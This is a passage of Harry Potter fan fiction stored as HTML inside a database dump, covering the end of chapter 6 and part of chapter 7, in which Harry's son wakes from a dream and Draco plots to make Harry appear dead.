as he started to explain the plan.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>~*~*~~*~*~</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We never really understood the concept of the\nTransformation of squib to wizard&#8230; all we know it that it happens.&#8221; Dumbledore\nexplained. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So he will become a wizard&#8230;&#8221; Hermione said trying to\nhide her worries.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hopefully, sometimes it can erase any magical blood one\nhas in his system entirely.&#8221; Dumbledore said.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione put her face in her hands, &#8220;To much is happening\nat once, I don\'t know if I can handle this.&#8221; She said in a frustrated tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron put a hand on his best friends shoulder, &#8220;Just\nbreath Herm. Just breath, James is going to be fine and were going to find\nHarry.&#8221; </p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8217;We have to&#8230;&#8217; </i>Ron\nsaid in his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;You know what you have to do James?&#8221; The older man\nasked, as they got ready to depart.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes grandpa&#8230; I have to go back and get what&#8217;s on the\nlist you and Grandma gave me, BUT no one can know what I&#8217;m doing&#8230; I will meet\none of you tomorrow night&#8230;&#8221; He repeated as they had told him over and over.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just to be safe James you won&#8217;t remember what you\nlearned here but you will remember to get the supplies&#8230; it will be hard but if\nwe want Harry home we have to go to drastic measures.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James nodded, Harry came over to his son and gave him a\ngoodbye hug, &#8220;Be good and I&#8217;ll see you tomorrow ok buddy.&#8221; Harry said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah dad, Love you.&#8221; James said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Love you too pal&#8230; Take care of your self&#8221; Harry said\ngiving his son a kiss on the forehead.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See you tomorrow.&#8221; The elder James said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll take him back to his own mind and I&#8217;ll return back\nhere.&#8221; Lily said taking his hand, &#8220;Ready?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yup.&#8221; And with one last wave, Lily and little James were\ngone in the same orb they came with.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at the spot where his mother and son once\nstood, &#8220;You think he will get what we need?&#8221; Harry asked.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can only hope&#8230; Don&#8217;t worry son, I see something in\nhim, he knows what he&#8217;s doing.&#8221; James re-assured him.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at his father, &#8220;I guess this means I have to\ngo back as well.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m afraid so&#8230; Don&#8217;t worry Harry, I&#8217;ll be here tomorrow\nnight, just don&#8217;t forget your list that you need.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, I know&#8230;&#8221; Harry said holding up his hands in\ndefense, &#8220;What about my appearance? Will I still look dirty and hurt?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, when u awake you will be as if the Malfoy&#8217;s never\ntouched you.&#8221; James said, &#8220;But like James you won&#8217;t know what happened to you&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I won&#8217;t remember you or mum, not even seeing my son?&#8221;\nHarry said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For now, yes, but when the time is right you will\nremember the same with James&#8230; But for now&#8230;&#8221; James smirked at his son, &#8220;This is\nour little secret.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled and he watched the picture of his father and\nthe house they were in fade away into the bright afternoon sun&#8230;.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">A/n: OK folks that&#8217;s Chapter\n6, I tired hard to make it good and get some detail into it&#8230; plus I don&#8217;t want\nto keep you all waiting for the next chapters&#8230; I hope I&#8217;m doing a good job so\nfar and if I am please leave me a review! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to all the review I&#8217;m\ngetting now and to <i>none </i>it was a good idea for chapter 6 but not the\nangle I was going for&#8230; Thanks for the reviews again&#8230; Those who Review make me\nhappy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Happy Happy Joy JOY!~</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n\n\n\n\n\n'),
	(277, 7, '\n\n\n\n<p class="MsoNormal">A/n: Well, I am pissed&#8230;I had\nto re-write this whole story because my first copy was corrupted! Talk about\npain in the ass! It was getting good too!&nbsp;\nOh well not like it affects you guys besides the longer wait&#8230;I&#8217;m sorry\nif I kept some of you in agony and I hope you like this chapter! It plays a big\npart in the story, maybe you guys can pin point&#8230;. *Smirks* enjoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.s~ Sorry guys but I\ncouldn&#8217;t think of a title to this chapter so cope with me ok!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 7</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Awakenings </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>James stood next to his grandmother and looked at her\nas she sent him back to the real world where his mother was waiting for\nhim.&nbsp; He gave her a hug and waved\ngoodbye as her figure became blurry&#8230;.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">*~*~*~*~*</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>He stirred and\nstretched in his sleep, he heard a soft voice saying, &#8220;Get some water and tell\nthe kids he waking up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James cracked his eyes to see a blurry vision of his\nmother sitting next to him brushing back his messy bangs, &#8220;Ahhh&#8230;&#8221; James moaned,\n&#8220;My head!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione helped him sit up, just as Ron came back in the\nroom with a group of teenagers and an 8 year old came rushing into the living\nroom.&nbsp; James looked around at everyone\nand he got nervous and stood up.&nbsp;\nFeeling a bit dizzy he almost fell but Chris was quick and caught him in\ntime before he fell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Take it easy Jamie&#8230;You looked drained.&#8221; He said helping\nhis brother sit back down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mom, what&#8217;s up with him?&#8221; Brandon asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He has a mental drain, almost a full day of what he&#8217;s\nbeen threw can cause even someone like Ron to be dizzy&#8230;&#8221; Hermione tried to\nexplain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not dizzy.&#8221; James said simply, &#8220;I just lost my\nbalance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris looked at his little brother, &#8220;Well dizzy or losing\nyour balance take it easy ok&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, mum can I go upstairs?&#8221; James asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, if you get hungry just come down and I&#8217;ll make you\nsomething.&#8221; Hermione said as she watched the retreating figure of her son walk\nup to his room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was a silence in the air as everyone watched James\nwalked to his room.&nbsp; A ding at the door\nmade everyone jump from whatever trance they might be in.&nbsp; Chris walked over to the door and answered\nit; his face from the side looked shocked and a little worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is Brandon here, Chris?&#8221; It was a female voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ye- yeah, hang on&#8230; Uh, come on in.&#8221; Chris said with a\nshaky voice, &#8220;Brandon&#8230;&#8221; Brandon looked at who it was that was looking for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alex?&#8221; He said looking at her tear stained face and her\nred puffy eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded at him looking like she was about to cry all\nover again, &#8220;I&#8217;m sorry&#8230;&#8221; She trembled, &#8220;I&#8217;m so sorry for all of you!&#8221; letting\nthe tears fall free.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alex are you ok?&#8221; Hermione asked walking up to her and\ngiving her a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wha- what are you talking about? You feel sorry for us?&#8221;\nBrandon asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Your father.&#8221; She choked out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brandon almost fell over with shock; he stumbled\nbackwards into the couch, &#8220;How do you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How could I not know? Brandon he saved my fathers life!&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm&#8230; Good work cousin, a job well done indeed, they\nbought it and for what I can see our only problem is getting the ministry to\nbelieve he&#8217;s dead as well.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah well, I don&#8217;t know why I&#8217;m doing this, why am I\neven helping you at all? It&#8217;s not like you ever helped me when I asked for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh sod off Mark, What could I ever help you with, lousy\nmuggle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lousy muggle or not I helped you pull of your stupid\nplan; completely out of my own will I might add.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well you always did want to protect your daughter&#8230; I\ndon&#8217;t know why&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well dear cousin&#8230; Unlike you <i>I </i>have a soul.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That did it&#8230; Draco reached out and grabbed his cousin,\nwho was lying in his hospital bed, by the throat squeezing whatever air he had\nin him out, &#8220;Soul or <i>not</i> I will prevail in my plan and when I do&#8230; you&#8217;ll\nbe begging me to let you live.&#8221; Draco released the man, &#8220;See you soon Mark, don&#8217;t\nforget&#8230; Get the oldest and kill him.&#8221; Draco then walked to the hospital room\ndoor; he stopped and picked up a rose that was left by the door.&nbsp; He picked it up and looked at it; the next\nsecond it exploded into flames, &#8220;Give my best to the family.&#8221; Draco smirked and\nexited the room leaving his cousin to lay in pity as to the thought of Harry\nPotters death and the fact that he was the one who caused it&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So my father saved your father in that building.&nbsp; I don&#8217;t get it why didn&#8217;t you dad just\napperate out of the building?&#8221; Brandon asked as He and Alex walked down the\nstreet with his friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My father is a muggle, we don&#8217;t have any wizarding\nbackground, none that I know of anyway.&#8221; Alex explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brandon ran a hand threw his hair and shook his head,\n&#8220;Since I was little I heard how my father was our savior&#8230; like some sort of\nMagical Jesus.&nbsp; Sometimes I wish he\nwasn&#8217;t such a huge celebrity that he was just a regular father.&nbsp; I hate it when were out and everyone runs to\nhim practically kissing his feet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dude, if it wasn&#8217;t for your dad you probably wouldn&#8217;t be\nhere.&#8221; Nick said putting a hand on his best friends shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah Brand, People just want to show how grateful they\nare for everything he&#8217;s done.&#8221;&nbsp; Booker\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, but now he&#8217;s not even here, I mean I always\nregretted what he did, but now he&#8217;s not here and now I want to thank him for\neverything he&#8217;s done for me.&nbsp; I don&#8217;t\nthink I ever really told him how much I actually loved him.&#8221;&nbsp; Brandon said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Brandon, They don&#8217;t know for sure that he&#8217;s dead&#8230; If\nthey haven&#8217;t given up on him you shouldn&#8217;t.&#8221; Nick said trying to up his\nfriend&#8217;s spirits.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah whatever.&#8221; Brandon picked up a rock and flicked it\nat a tree and hit it dead in the center.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alex noticed he gave himself a small <i>whoop</i> to\nhimself to his target shot.&nbsp; She smiled\nto herself as she kept giving him side-glances, &#8216;<i>I wonder what he is\nthinking</i>&#8217; she thought to her self.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;<i>Does she </i>have <i>to keep looking at me? It&#8217;s\nkinda freaky</i>&#8217; Brandon thought moving away from her a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Brandon it&#8217;s about 4:00 your mom said she needed us back\nabout 4:30 to help her with some things.&#8221; Bret said checking his watch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brandon looked at him with a raised eyebrow but suddenly\ncaught on to his hint, &#8220;Oh yeah with the thing&#8230; in the attic.&#8221; He added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Nick, Bret, and Booker nodded at him like he was one of\nthe stupidest people on the earth.&nbsp; Alex\nwasn&#8217;t as stupid as they took her to seem and she started walking away,\nobviously pissed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brandon watched her walk off and instantly felt a pang of\nguilt run threw him, &#8220;Guys head back, I&#8217;m gonna stick around with her for a\nwhile.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Nick said, &#8220;Dude, we gotta practice and stuff, I\nmean you never seem to care about her before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah but&#8230; I donno I just feel like I should be with her\nfor a while.&#8221;&nbsp; Brandon started jogging\ndown the street after Alex.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s got into you man?&#8221; nick yelled down the street.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brandon turned around and jogging backwards and smirked\nshrugging his shoulders and turned around and back down the street.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alex was walking fast wiping tears from her eyes, she\nthought that if she came up to him and tried to talk to him he would maybe feel\ndifferent about her like she felt for him but she was wrong.&nbsp; Brandon was nothing more than a 13-year-old\nteenage guy who could care less about a girls feeling\'s. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alex!&#8221; Someone yelled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned around to see Brandon jogging toward her.&nbsp; If she wasn&#8217;t so upset she probably would\nhave stopped but she was so mad at him that she just kept walking. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alex wait up!&#8221; He said now starting to run a little bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alex just kept walking not even thinking about\nstopping.&nbsp; She was almost to her house\nwhen Brandon finally caught up and grabbed her by the arm, &#8220;Alex hold on a\nsecond.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let me go Brandon.&#8221; She demanded calmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, Alex I know your smarter then we expected you to be&#8230;\nI felt bad that you were so concerned about me and my problems and I just\npractically blew you off.&#8221; Brandon tried to explain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good, took you long enough to find some sort 